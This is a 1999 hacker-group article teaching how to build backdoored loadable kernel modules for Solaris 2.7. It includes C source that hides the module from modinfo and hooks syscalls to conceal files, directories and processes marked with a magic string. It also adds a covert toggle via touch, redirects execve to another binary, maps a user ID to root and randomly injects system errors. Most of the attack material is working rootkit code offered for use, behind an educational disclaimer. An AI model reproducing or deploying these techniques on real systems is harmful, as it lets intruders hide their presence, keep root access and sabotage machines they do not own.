Solaris Loadable Kernel Modules
"Attacking Solaris with loadable kernel modules" - Version
1.0 (c) 1999
Author: Plasmoid <plasmoid@pimmel.com> / THC
Sources: slkm-1.0.tar.gz
(flkm.c, anm.c, sitf0.1.c, sitf02.c) The Hacker's Choice Website: http://www.infowar.co.uk/thc/
Content
1 Introduction 2 (Un)Loading of kernel
modules 3 Basic structure of kernel modules under
Solaris
3.1 Standard headers and structs 3.2
Hiding the module 3.3 _init(), _fini() and _info()
calls 3.4 Compiling and linking modules
---> Module: flkm.c 4 Redirecting
syscalls and managing memory
4.1 Syscalls under Solaris 4.2
Generating errno messages 4.3 Allocating kernel memory
---> Module: anm.c 5 Implementing the
common backdoors
5.1 Hiding files from getdents64() 5.2
Hiding directories and file content 5.3 Generating a
remote switch 5.4 Hiding processes (proc file system
approach) ---> Module: sitf0.1.c
5.5 Redirecting an execve() call 5.6
Hiding processes (structured proc approach) --->
Module: sitf0.2.c 6 Future plans 7
Closing words
1 Introduction
Loadable kernel modules represent an important part of the
kernel architecture. They provide an interface to hardware devices and
data within the kernel memory. Most Unix systems enforce the usage of
loadable kernel modules in order to offer maximum interaction with the
peripherials and the kernel. Due to those features, kernel
modules have gained the interest of intruders, since they affect the
operating system at the basic level and guarantee an efficient and hard
to detect way to manipulate the system. In the past years loadable
kernel modules including backdoors have been published for Unix systems
such as Linux and FreeBSD. This article describes the technologies used
to develop backdoored modules for the operating system Solaris 2.7
(Sparc/Intel). The modules conributed with this article have not
been tested on Solaris 2.6 (Sparc), if you are interested in testing
these modules, please contact me. Eventhough most sources
listed in this article haven been tested on several computers running
Solaris 2.7 (Ultra Sparc/Sparc/x86) and Solaris 2.6 (Ultra Sparc), they
might crash or even destroy your system, therefore use all modules from
the slkm-1.0.tar.gz
tarball with care. The modules have not been tested using Sun's C
Compiler, instead we used the free Gnu C Compiler - available from sunfreeware.com. This article
and its sources are designed for educational puroses only, I strongly
advise you not to use any modules provided with this article on systems
you do not own or aren't allowed to manipulate.
2 (Un)Loading of kernel modules
Most parts of Solaris' functionality are realized using
kernel modules (e.g. ip/tcp, scsi, ufs), tools from other vendors or
authors use this mechanism too (e.g. ipf, pppd, oss), you can get a list
of all loaded and (in)active modules by using the command
/usr/sbin/modinfo.
# modinfo Id Loadaddr
Size Info Rev Module Name 4 fe8c6000
313e 1 1 specfs (filesystem for
specfs) 6 fe8ca414 2258
1 1 TS (time sharing sched class)
7 fe8cc228 4a2
- 1 TS_DPTBL (Time sharing dispatch table)
8 fe8cc27c 194
- 1 pci_autoconfig (PCI BIOS interface)
# Id is the module-id, Loadaddr
is the starting text address in hexadecimal, Size is the
size of text, data, and bss in hexadecimal bytes, Info is
module specific information, Rev is the revision of the
loadable modules system, and Module Name is the filename and
description of the module. Device driver or pseudo device
driver modules include an Info number, modules which do not
communicate with a device do not include this information. These modules
are declared as "misc" (&mod_miscops) modules. Since we are
developing a kernel module for an attacking approach, we will later
generate such a miscellaneous module.
In order to load or unload kernel modules, you can use the two
commands /usr/sbin/modload and /usr/sbin/modunload.
Modload's command line is the name of a module and modunload's
command line "-i ID" the Id of a loaded module (see
modinfo above.).
# modinfo -i 125 Id
Loadaddr Size Info Rev Module Name 125
fe95959c 125 - 1 flkm
(First Loadable Kernel Module) # modunload -i
125 Solaris includes a lot of good man pages dealing
with kernel modules, (un)loading, information and even programming. You
should take a look at those, but don't get confused the example code
within "man _init" compiles but does not load. If you have access to
Solaris' AnswerBook2 take a look at the sections describing the
development of device drivers.
3 Basic structure of kernel modules under
Solaris
Kernel modules under Solaris need a lot of definied
variables in order to get loaded into the system, this is a major
difference to Linux kernel modules that can easily be created by just
using an init_module() and cleanup_module() call. Take
a look at pragmatic's articles about kernel modules for Linux
and FreeBSD. 3.1 Standard headers and structs
Eventhough we don't want to develop a device driver module,
we have to include the DDI, SunDDI and the modctl headers that provide
us with structs as modlinkage and mod_ops. The first
lines of a module look like this:
#include <sys/ddi.h> #include
<sys/sunddi.h>
/* * This is the loadable module
wrapper. */ #include
<sys/modctl.h>
extern struct mod_ops mod_miscops;
/* * Module linkage information for the
kernel. */ static struct modlmisc
modlmisc = { &mod_miscops,
"First Loadable Kernel Module",
};
static struct modlinkage modlinkage = {
MODREV_1,
(void *)&modlmisc, NULL
}; As you can see, we include some external
structs into the module and define the name of the kernel module inside
the modlmisc struct. The modlinkage struct references
modlmisc and tells the kernel that this is not a device driver
module and that no info flag is displayed by modinfo. If you
want to go into the details of these structs and maybe develop device or
pseudo device driver module, take a look at the following man pages:
modldrv(9S), modlinkage(9S) and modlstrmod(9S). If you just want to
understand the backdoored modules in this article, simply read
on. 3.2 Hiding the module
If we change the name of the kernel module to an empty
string ("") in the modlmisc struct, modinfo will not
display the module, eventhough it is loaded and its Id is
reserved. This is a useful feature for hiding the module and the module
can still be unloaded if you know its Id. Grabbing this Id is
simple, if you take a look at the modules Ids before loading
the module and later after some other modules have been loaded.
# modinfo Id Loadaddr
Size Info Rev Module Name [...] 122
fe9748e8 e08 13 1 ptem (pty
hardware emulator) 123 fe983fd8
1c0 14 1 redirmod (redirection module)
124 fe9f60a4 cfc 15
1 bufmod (streams buffer mod) # modload flkm
# modinfo Id Loadaddr Size Info
Rev Module Name [...] 122 fe9748e8
e08 13 1 ptem (pty hardware emulator)
123 fe983fd8 1c0 14
1 redirmod (redirection module) 124
fe9f60a4 cfc 15 1 bufmod
(streams buffer mod) 126 fe9f8e5c 8e3c
13 1 pcfs (filesystem for PC) 127
fea018d4 19e1 - 1 diaudio
(Generic Audio) 128 fe94aed0 5e3
72 1 ksyms (kernel symbols driver)
As you can see the Id 125 is obviously not reserved
and we loaded our kernel module into the memory with no name string in
the modlmisc struct. If we want to unload it now, we can easily
do this by unloading the Id 125. Those unreserved Ids
can be found in a modinfo listing at different places, but due
to the fact that modunload won't return an error if you try to
unload a non existing module, nobody can detect our module by using
modinfo or modunload. The second version of this
article will include mechanisms to completely protect a module from
being listed and unloaded. This can only be done by patching the Solaris
module ksyms that lists and manages all kernel symbols. Even if this
protection leaving the module's name blank is weak, it will fit your
needs, if the system administrator is not a real system
programmer. 3.3 _init(), _fini() and
_info() calls
A kernel module under Solaris must include at least the
following three functions: _init(), _fini() and
_info(). _init() initializes a loadable module, it is
called before any other routine in a loadable module. Within an
_init() call you need to call another function called
mod_install() that takes the modlinkage struct as an
argument. _init() returns the value returned by mod_install().
The returned value should be interpreted in order to catch errors while
loading the module.
int _init(void) {
int i;
if ((i = mod_install(&modlinkage)) !=
0)
cmn_err(CE_NOTE,"Could not install module\n");
else
cmn_err(CE_NOTE,"flkm: successfully installed");
return i;
} The _info() function returns
information about a loadable module, within this function the call
mod_info() has to be made. If we use an empty name in the
modinfo struct mod_info() will return no information
to /usr/sbin/modinfo.
int _info(struct modinfo *modinfop)
{ return
(mod_info(&modlinkage, modinfop));
} _fini() prepares a loadable module
for unloading. It is called when the system wants to unload a module.
Within _fini() a call to mod_remove() has to be
placed. It is also wise to catch the return values in order to report
errors while unloading the module.
int _fini(void) {
int i;
if ((i = mod_remove(&modlinkage)) !=
0)
cmn_err(CE_NOTE,"Could not remove module\n");
else
cmn_err(CE_NOTE,"flkm: successfully removed");
return i;
} A good documentation about these calls
can be found in the following Solaris man pages: _info(9E) and
mod_install(9F). If you are calling cmn_err() with
CE_NOTE as level from a running module the output will be
printed to your syslogd as a notice. cmn_err() is function to
output information from kernel memory, it can also be used to set run
levels if you are debugging your module. 3.4
Compiling and linking modules
Compiling a module is very simple, all you need to set are
some definitions that tell the included code this will be a kernel
module and not a normal executable. You should always link your module's
object file with the "-r" option otherwise the module will not load,
because the kernel module linker will not be able to link the module.
gcc -D_KERNEL -DSVR4 -DSOL2 -O2 -c flkm.c
ld -o flkm -r flkm.o The Solaris kernel does
not include as many standard C function as the Linux kernel, if you want
to use some of those standard libC functions, extract them from the
libc.a archive in /lib and link them to your module using the
ar command. If you are one of those lucky guys owning the
Solaris 2.7 source and knowing where to find what you are looking for
inside the weird source of Solaris, include the original source of the
extracted objects.
ar -x /lib/libc.a memmove.o memcpy.o strstr.o
ld -o flkm -r flkm.o memmove.o memcpy.o
strstr.o In my examples I included a switch called
DEBUG, this switch will activate a lot of debug outputs, if you
are one of those nasty hackers don't forget to undefine DEBUG
in the code or configure the Makefile. DEBUG is a very common
definition if working with kernel modules, there are some kernel
functions that might help you debugging, e.g.
ASSERT(). --> Module:
flkm.c
The Module flkm.c (First Loadable Kernel Module) from the
package slkm-1.0.tar.gz
demonstrates the techniques described in sections 3.1-3.4 and represents
an empty working module that should be easily loadable into the
kernel.
4 Redirecting syscalls
and managing memory
Redirecting syscalls is one of the important things if you
write backdoored kernel modules, instead of developing your own
functions, you redirect the common syscalls to your fake syscalls that
will do what ever you want. If you want to get an idea of what can be
done using faked syscalls take a look at pragmatic's article at http://www.infowar.co.uk/thc/. 4.1 Syscalls under Solaris
Syscalls under Solaris are stored in an array sysent[]
each entry is a structure that hold information about a syscall.
The values for all syscalls can be found in the file
/usr/include/sys/syscall.h. If you take a closer look at the
list of syscalls, you will recognize that there are some major
differences to the Linux syscall header file. So be careful if you try
to port a Linux kernel module to Solaris. The syscalls
open(), creat(), etc are not used for filesystem
functions, instead the following calls are used open64(),
creat64(), etc. Before you try to redirect a syscall under
Solaris use the tool /usr/bin/truss to trace the syscalls of
the programm that uses your syscalls, e.g. ps uses the
open() call to check the files inside the proc tree while
cat uses the open64() to open a file from the
filesystems even if it is within the proc tree. Let's look at some
example code:
int (*oldexecve) (const char *, const char *[], const
char *[]); int (*oldopen64) (const char *path, int oflag,
mode_t mode); int (*oldread) (int fildes, void *buf,
size_t nbyte); int (*oldcreat64) (const char *path,
mode_t mode); [...]
int newcreat64(const char *path, mode_t mode)
{ [...]
int _init(void) {
int i;
if ((i = mod_install(&modlinkage)) !=
0)
cmn_err(CE_NOTE,"Could not install module\n"); #ifdef
DEBUG else
cmn_err(CE_NOTE,"anm: successfully installed");
#endif
oldexecve = (void *)
sysent[SYS_execve].sy_callc; oldopen64
= (void *) sysent[SYS_open64].sy_callc;
oldcreat64 = (void *)
sysent[SYS_creat64].sy_callc; oldread
= (void *) sysent[SYS_read].sy_callc;
sysent[SYS_execve].sy_callc = (void *)
newexecve; sysent[SYS_open64].sy_callc
= (void *) newopen64;
sysent[SYS_creat64].sy_callc = (void *) newcreat64;
sysent[SYS_read].sy_callc = (void *)
newread;
return i;
} This is an _init() call described in 3.3,
after initializing the module we copy the pointers of the old syscalls
that are stored in the member .sy_callc to some pointers we
defined at the top of our module. This is done exactly as with all Linux
kernel modules. After we have saved the old pointers we copy
pointers of our new syscalls (in this case: int newcreat64(const
char *path,mode_t mode) to the pointers in the sysent[]
array. 4.2 Generating
errno messages
I have seen some loadable kernel modules that generate error
message a way that wont work under Solaris, the so called error numbers
listed in /usr/include/sys/errno.h should not be returned by
function using the following code:
return -ENOENT; Eventhough this code
will work since a negative value is returned it does not tell Solaris
what kind of error appeared, instead the following code using the
syscall set_errno() is the correct solution.
set_errno(ENOENT); return
-1; You really should tell your operating system what
is going wrong even if you produce a fake error
message. 4.3 Allocating kernel
memory
When working inside the kernel, you cannot allocate memory
using the function alloc() or malloc() due to the fact
that the kernel memory is strictly seperated from the user memory.
Solaris provides to function for allocating and freeing kernel memory.
name = (char *) kmem_alloc(size,
KM_SLEEP); kmem_alloc() allocates
size bytes of kernel memory and returns a pointer to the
allocated memory. The allocated memory is at least double-word aligned,
so it can hold any C data structure. No greater alignment can be
assumed. The second parameter determines whether the caller can sleep
for memory. KM_SLEEP allocations may sleep but are guaranteed
to succeed. KM_NOSLEEP allocations are guaranteed not to sleep
but may fail (return NULL) if no memory is
currently available. KM_NOSLEEP using kmem_alloc()
should only be used from interrupt context, it should not be called
otherwise. The initial contents of memory allocated using
kmem_alloc() are random garbage. The allocated kernel
memory has to be freed using the function kmem_free(size),
while size is the size of the allocated memory. Be careful, if you are
freeing more memory as you allocated major problems will occur, since
unwanted parts of the kernel get freed.
As I started coding this module I didn't care about the transfer
between user and kernel memory. On Solaris 2.7 (x86) a memcpy()
successfully solved this task and there was no need for special
commands. But on Solaris (Sparc) this lousy way of transfering data
didn't work at all. For a proper transfer use the functions copyin()
and copyout() that provide a way to transfer data from
kernel memory (device module memory) and user memory. If you
want to copy null-terminated strings from userspace to kernel memory use
the command copyinstr(), that has the following prototype
copyinstr(char *src, char *dst, size_t length, size_t size).
length describes how many bytes to read while size is
the value of actually read bytes. A complete description of these
functions can be found in the following Solaris man pages:
kmem_alloc(9F), copyin(9F) and copyout(9F). Here is a small example:
name = (char *) kmem_alloc(256,
KM_SLEEP); copyin(filename, name,
256); if (!strcmp(name, (char *)
oldcmd)) {
copyout((char *) newcmd, (char *) filename, strlen(newcmd) + 1);
cmn_err(CE_NOTE,"sitf: executing %s instead of %s", newcmd,
name); } If you don't
need to allocate kernel memory, e.g. if you are just comparing some
values, you might use also the memcpy() function, but be
adviced memcpy doesnot work on Ultra Sparc. Use copyinstr() in
order to copy null terminated strings to kernel memory where you can
compare them. copyinstr(char *src, char *dst, size_t n, size_t
n) --> Module: anm.c
As an example I included the module anm.c (Administrator's
NightMare) from the package slkm-1.0.tar.gz,
this is not a very intelligent module - instead of backdooring the
system, this module randomly generates system errors on the following
syscalls: execve(),open64() and read(). The period of
the random errors can be set with these three variables:
int open_rate = 200; int read_rate =
8000; int exec_rate = 400; The values have
been tested on a client station. The system behaves quite normal, but
from time to time a small error appears that won't interest an admin.
The system will just look like one of those badly configured cheap
Solaris (but actually it isn't). To activate or deactivate the
errors I developed a switching mechanism, I will explain the technique
later in 5.3, first of all here is the usage from the command line when
the module is loaded.
touch my_stupid_key This command
enables or disables the functions of the anm.c module, if you used the
correct key that has been defined inside the module you will get an
error message instead of a touched "my_stupid_key"
file.
5 Implementing the common backdoors
Most ideas of the backdoors I implemented have been taken
from plaguez's itf.c module and the article written by pragmatic (see 7
References), some of them could be implemented as they are, other
routines had to be rewritten and some had to be coded from scratch.
If you take a look at the modules sitf0.1.c and sitf0.2.c from the
package slkm-1.0.tar.gz
you will find backdoors that are not described in this article, these
function could be ported without any problem from Linux or FreeBSD
modules. I think they have been documented in several other articles
already. 5.1 Hiding files from
getdents64()
If you trace through commands as ls or du
you will find out that Solaris systems use the getdents64()
syscall to retrieve information about the content of a directory
therefore I took a closer look at plaguez's implementation of a faked
getdents() syscall hiding files from being listed. While
playing with his code I discovered that getting the entries from
getdents64() is easier as on Linux, it is not necessary to care
about user- and kernelsparce (well, I know this isn't a proper approach,
but who cares), I simply modified his code to work with
getdents64() and the dirent64 entries used
copyin() and copyout() (see 4.3 Allocation kernel
memory). The getdents64() syscall and its structs are
documented inside the Solaris man pages, take a look at the following
pages: getdent(2), dirent(4), but keep in mind that you have to use the
64bit variants, just read the header file
/usr/include/sys/dirent.h and you will find what you are
looking for. A final version of a faked getdents64() syscall
looks like that:
#define MAGIC "CHT.THC" char
magic[] = MAGIC;
[...]
int newgetdents64(int fildes, struct dirent64 *buf, size_t
nbyte) { int ret, oldret,
i, reclen; struct dirent64 *buf2,
*buf3;
oldret = (*oldgetdents64) (fildes, buf,
nbyte); ret = oldret;
if (ret > 0) {
buf2 = (struct
dirent64 *) kmem_alloc(ret, KM_SLEEP);
copyin((char *)
buf, (char *) buf2, ret);
buf3 =
buf2;
i = ret;
while (i > 0)
{
reclen = buf3->d_reclen;
i -= reclen;
if (strstr((char *) &(buf3->d_name), (char *) &magic) !=
NULL) { #ifdef DEBUG
cmn_err(CE_NOTE,"sitf: hiding file (%s)", buf3->d_name);
#endif
if (i != 0)
memmove(buf3, (char *) buf3 + buf3->d_reclen, i);
else
buf3->d_off = 1024;
ret -= reclen;
}
/*
* most people implement this little check into their modules,
* don't ask me, if some of the solaris fs driver modules really
* generate a d_reclen=0.
* correction: this code is needed for solaris sparc at least,
* otherwise you`ll find yourself back in a world of crashes.
*/
if (buf3->d_reclen < 1) {
ret -= i;
i = 0;
}
if (i != 0)
buf3 = (struct dirent64 *) ((char *) buf3 + buf3->d_reclen);
}
copyout((char *)
buf2, (char *) buf, ret);
kmem_free(buf2,
oldret); }
return ret;
} Understanding this code is not that easy,
since it works with the weird dirent structure, but the dirent
struct is also present in Linux and can be understand reading the man
pages and the specific headers, I won't go into more details.
There is still a minor problem with this piece of code, when you
include the magic string more than once in to your filename the module
won't act correctly, it looks like the strstr() function causes
problems while running inside the kernel. I plan to fix this bug in
version 2.0 of the article / module, until then include the magic string
only once in your filenames. 5.2
Hiding directories and file content
This idea has been taken from pragamatic's Linux kernel
module article. If files are hidden from being listed as described above
they still can be accessed by everybody and directories can be entered
by everybody too. I used a switch (see 5.3 Generating a remote switch)
to toggle these features On and Off. So if I don't want anybody to
access the content of my hidden files or anybody to enter my hidden
directories, I would turn the switch On. The syscall open64()
is used to open files for reading and writing under Solaris (not inside
the /proc), if the filename of the file to be opened contains the magic
word and the security flag is set, the faked syscall will return the
error message: "No such file or directory".
#define MAGIC "CHT.THC"
char magic[] = MAGIC; int security = FALSE;
[...]
int newopen64(const char *path, int oflag, mode_t mode)
{ int ret;
int len;
char namebuf[1028];
ret = oldopen64(path, oflag,
mode);
if (ret >= 0) {
copyinstr(path,
namebuf, 1028, (size_t *) & len);
if (security
&& strstr(namebuf, (char *) &magic) != NULL) {
#ifdef DEBUG
cmn_err(CE_NOTE, "sitf: hiding content of file (%s)", namebuf);
#endif
set_errno(ENOENT);
return -1;
} return
ret; } }
The syscall chdir() is used to
change the current directory, if someone tries to enter a directory
containing the magic string and the security flag is set, the faked
syscall will return the error message: "No such file or directory".
int newchdir(const char *path) {
char namebuf[1028];
int len;
copyinstr(path, namebuf, 1028, (size_t *)
& len);
if (security && strstr(namebuf,
(char *) &magic) != NULL) { #ifdef DEBUG
cmn_err(CE_NOTE,
"sitf: hiding directory (%s)", namebuf); #endif
set_errno(ENOENT);
return -1;
} else
return
oldchdir(path); }
These two functions combined with
the faked getdents64() call protect all files and directories
you want to hide including their content. But how can you easily switch
between the total security and a work-environment where files are hidden
but you can access and manipulate them, e.g. configuration files, read
on. 5.3 Generating a remote
switch
While investigating some of the most used command line
programs, I stumbeld over /usr/bin/touch, touch uses the
syscall creat64(). I found this to be a good place to include a
remote switch, for toggling features of a module On or Off, e.g. the
security flag above in 5.2. Of cause this is not a real secure switch
because an administrator could monitor you activities and will discover
you suspicious touch calls. First of all we need to define a key
that will help us being the only person toggling our switch.
#define KEY "mykey" char key[] =
KEY;
[...]
int newcreat64(const char *path, mode_t mode)
{ char namebuf[1028];
int len;
copyinstr(path, namebuf, 1028, (size_t *)
& len);
if (strstr(namebuf, (char *) &key) !=
NULL) { if
(security) { #ifdef DEBUG
cmn_err(CE_NOTE, "sitf: disabeling security");
#endif
security = FALSE;
} else {
#ifdef DEBUG
cmn_err(CE_NOTE, "sitf: enabeling security"); #endif
security = TRUE;
}
set_errno(ENFILE);
return -1;
} else
return
oldcreat64(path, mode); } When the
touch command is used the syscall creat64() will be called. Our
faked syscall will check if the filename includes our key and then en-
or disable the security flag. In order to tell us if this suceed it will
return the error (ENFILE, The system file table is full). I
hope this is a rather seldom error message. 5.4 Hiding processes (proc file system
approach)
Before I concentrated on the structured proc of Solaris, I
developed a basic way to hide files from being listed. This code should
only function as an example because it may consume a lot cpu power.
When a user executes ps or top these tools will
read parts of the proc file systems and return their content. The file
that halts information about the process caller and the executed file is
psinfo found inf /proc/<pid>/psinfo. The content
of this file is described in /usr/include/sys/procfs.h.
typedef struct psinfo {
int
pr_flag; /* process flags
*/
int
pr_nlwp; /* number of lwps
in process */
pid_t
pr_pid; /* unique
process id */
pid_t pr_ppid;
/* process id of parent */
pid_t
pr_pgid; /* pid of process
group leader */
pid_t
pr_sid; /* session id
*/
uid_t
pr_uid; /* real user
id */
[...]
char pr_psargs[PRARGSZ]; /*
initial characters of arg list */
int
pr_wstat; /* if zombie, the wait()
status */
int
pr_argc; /* initial argument
count */
uintptr_t pr_argv; /* address of initial
argument vector */
uintptr_t
pr_envp; /* address of initial
environment vector */
char pr_dmodel; /*
data model of the process */
char pr_pad2[3];
int pr_filler[7]; /* reserved for
future use */
lwpsinfo_t pr_lwp; /* information for
representative lwp */ } psinfo_t;
It's always the size of the psinfo_t
struct. The member psargs includes the executed filename and
the following arguments. Whenever a file named psinfo is opened
a faked open() syscall will set a special flag, signaling that
one of the next read() calls will read this file. Note that
inside the /proc file system Solaris uses the open() syscall
instead of the open64() syscall.
#define MAGIC "CHT.THC" char magic[] =
MAGIC; char psinfo[] = "psinfo"; int
psfildes = FALSE;
[...]
int newopen(const char *path, int oflag, mode_t mode)
{ int ret;
ret = oldopen(path, oflag, mode);
if (strstr(path, (char *) &psinfo) !=
NULL) {
psfildes = ret; } else
psfildes =
FALSE;
return ret;
} A redirected read() function
will look into the file if it has the size of a psinfo file and
the open64() call has set the psfildes flag to the
specific file descriptor. The read() syscall will then copy the
content of the file to a psinfo_t struct and compare the
executed file with the magic string. This is done by investigating
psinfo_t->pr_psargs. If the magic string is found it will
return an error and this proc entry won't be displayed in a process
listing.
ssize_t newread(int fildes, void *buf,
size_t nbyte) { ssize_t
ret; psinfo_t *info;
ret = oldread(fildes, buf, nbyte);
if (fildes > 0 && fildes ==
psfildes && nbyte == sizeof(psinfo_t)) {
info = (psinfo_t *)
kmem_alloc(sizeof(psinfo_t), KM_SLEEP);
copyin(buf, (void
*) info, sizeof(psinfo_t));
if
(strstr(info->pr_psargs, (char *) &magic) != NULL) {
#ifdef DEBUG
cmn_err(CE_NOTE,"hiding process: %s", info->pr_psargs);
#endif
kmem_free(info, sizeof(psinfo_t));
set_errno(ENOENT);
return -1; }
else
kmem_free(info, sizeof(psinfo_t));
} return ret;
} You see that this is really not a proper
way to hide processes from being listed because a lot cpu power will be
wasted by the open64() and the read() call due to the
fact that they got called very often on any system. A really fast method
can be found in 5.6 Hiding processes (structured proc approach), just
read on. ---> Module:
sitf0.1.c
The module sitf0.1.c (Solaris Integrated Trojan Facility)
demonstrates all topics described above, it is configured by setting the
following variables:
#define MAGIC "CHT.THC" #define
KEY "mykey" #define
UID 1001 If a file or a process
includes the string MAGIC, it will not be listed by any tool.
Directories or file content of files containing this string will also be
unaccessiable if the security flag is set. You can toggle the security
flag by using the touch command, KEY is the argument for touch.
$ touch mykey The UID specifies the
user id that should automatically be mapped to root if a user logs
on.You can monitor all activities via syslogd if you compiled the module
with the DEBUG defintion. 5.5 Redirecting an execve() call
Redirecting the execve() call was really a challange on
Solaric (Sparc), because the kernel really "cares" about a proper user-
and kernel memory transfer. The following code does not allocate user
memory, it simply overwrites the defined buffer with the new command to
execute, eventhough I have tested this call a thousand times and nothing
bad happened, I advice you to read the next version of this article,
that will feature some techniques to allocate user memory properly.
#define OLDCMD "/bin/who" #define
NEWCMD "/usr/openwin/bin/xview/xcalc" char oldcmd[]
= OLDCMD; char newcmd[] = NEWCMD;
[...]
int newexecve(const char *filename, const char *argv[], const
char *envp[]) { int
ret; char *name;
unsigned long addr;
name = (char *) kmem_alloc(256,
KM_SLEEP); copyin(filename, name,
256); if (!strcmp(name, (char *)
oldcmd)) {
copyout((char *) newcmd, (char *) filename, strlen(newcmd) + 1);
#ifdef DEBUG
cmn_err(CE_NOTE,"sitf: executing %s instead of %s", newcmd,
name); #endif }
kmem_free(name, 256);
return oldexecve(filename, argv,
envp); } 5.6 Hiding processes (structured proc approach)
This is a proper approach for hiding processes from being
listed. Take a look at the header file /usr/include/sys/proc.h,
you will find inside the large proc_t struct a member that is
called struct user p_user. Every process owns such a proc_t
struct. Solaris generates the files inside the /proc directory from
these proc_t entries and their corresponding values. If you
look into the definition of the user struct in
/usr/include/sys/user.h, you will find what I was looking for
the last weeks:
typedef struct user {
[...] /*
* Executable
file info.
*/
struct
exdata u_exdata;
auxv_t
u_auxv[__KERN_NAUXV_IMPL]; /* aux vector from exec */
char
u_psargs[PSARGSZ]; /* arguments from
exec */
char u_comm[MAXCOMLEN + 1];
[...] The member u_psargs carries the executed
filename of a process and its arguments, this is a good place to check
if we should hide the process. There is a little macro defintion in
proc.h that helps us getting the p_user entry from
proc_t:
/* Macro to convert proc pointer to a user block pointer
*/ #define
PTOU(p)
(&(p)->p_user) Now we can determine the exectued
filename of every process if we know where the proc_t struct
is. Another nice funtions helps us finding the proc_t struct
from a corresponding pid: proc_t *prfind(pid_t). A
tool listing process accesses the /proc directory that stores the
processes sorted by their pids. I included a small check into
the getdents64() fake syscall from above, so the function
check_for_process() gets called.
[...]
while (i > 0)
{
reclen = buf3->d_reclen;
i -= reclen;
if ((strstr((char *) &(buf3->d_name), (char *) &magic) !=
NULL) ||
check_for_process((char *) &(buf3->d_name))) {
#ifdef DEBUG
cmn_err(CE_NOTE,"sitf: hiding file/process (%s)",
buf3->d_name); #endif
if (i != 0)
memmove(buf3, (char *) buf3 + buf3->d_reclen, i);
else
buf3->d_off = 1024;
ret -= reclen;
}
[...] Now let's take a look at the
check_for_process() function. In the following code I use a
small function called sitf_isdigit() and sitf_atoi(),
you should easily guess what these function do. In this content it tells
us if the file is maybe inside the proc and represents a pid. The
check_process() call implements the mechanism described above:
int check_for_process(char *filename)
{ if (sitf_isdigit(filename)
&& check_process(sitf_atoi(filename)))
return TRUE;
else
return FALSE;
}
int check_process(pid_t pid) {
proc_t *proc;
char *psargs;
int ret;
proc = (proc_t *) prfind(pid);
psargs = (char *) kmem_alloc(PSARGSZ,
KM_SLEEP); if (proc !=
NULL) /*
*
PTOU(proc)->u_psargs is inside the kernel memory, no special
* copy
methods are needed.
*/
memcpy(psargs,
PTOU(proc)->u_psargs, PSARGSZ);
else
return FALSE;
if (strstr(psargs, (char *) &magic) !=
NULL) ret =
TRUE; else
ret = FALSE;
kmem_free(psargs, PSARGSZ);
return ret;
} ---> Module: sitf0.2.c
The sitf0.2.c (Solaris Integrated Trojan Facility)
implements the features described in 5.5 and 5.6, it is configured as
the sitf0.1 module and includes the following 2 defintions:
#define OLDCMD "/bin/who" #define
NEWCMD "/usr/openwin/bin/xview/xcalc" If the file
OLDCMD is executed the NEWCMD will be executed
instead, this is a usefull feature for placing backdoors in hidden
directories.
6 Future plans
If you read the article carefully, you may have found a lot of
things to be fixed in future releases, here is a brief summary of my
ideas and plans for the next version - including fixes and improvements:
- Proper implementation of allocating user memory - Bugfree
version of the getdents64() file hiding mechanism allowing
files to contain the magic word more than once. - Proper hiding of
the module by backdooring the ksyms module - ICMP backdoor
executing programs realized backdooring the icmp module - Hiding
connections from netstat - UDP based telnet access via the udp
module (damn, this is hard stuff. Idea by Escher) - A module
version for Solaris 2.5 (Sparc) and 2.6 (Sparc/x86) As a result of
this article I also plan to write a security module for Solairs 2.7
(Sparc/x86) including the following features:
- Protected module loading and unloading - Limited process
listings for users - Symlink checks in writable directories -
Kernel based packet sniffing - Exploited overflow
notification
7 Closing words
I thank the following people that helped creating this
article:
- Wilkins ... for all his help, betatesting and
ideas - Pragmatic ... for his articles and support at the CCCamp
- Acpizer ... for all his knowledge and help with the modules
- Escher ... for his Solaris 2.5 support and corrections -
Horizon ... for his Ultra Sparc port and his help - Knie ...
godfather of OpenBSD - Plaguez ... for his great itf.c Linux
module (written in '97) - Ekonroth from the church of shambler ...
for mental support - All people in my favorite IRC
channel I would also like to thank my girlfriend who spent a
lot of time with me talking about Solaris' kernel-architecture.
If you have ideas, critisism or further questions, please contact me
at plasmoid@pimmel.com. I am
thankful for improving suggestions. Just don't forget this article is
not designed for script kiddies, intrusion is illegal and I don't have
the ambition to help you hacking into some lame provider systems.
If you read this far, you might also be interested in one of the
other THC articles or magazines at http://www.infowar.co.uk/thc.
have fun, Plasmoid / THC
|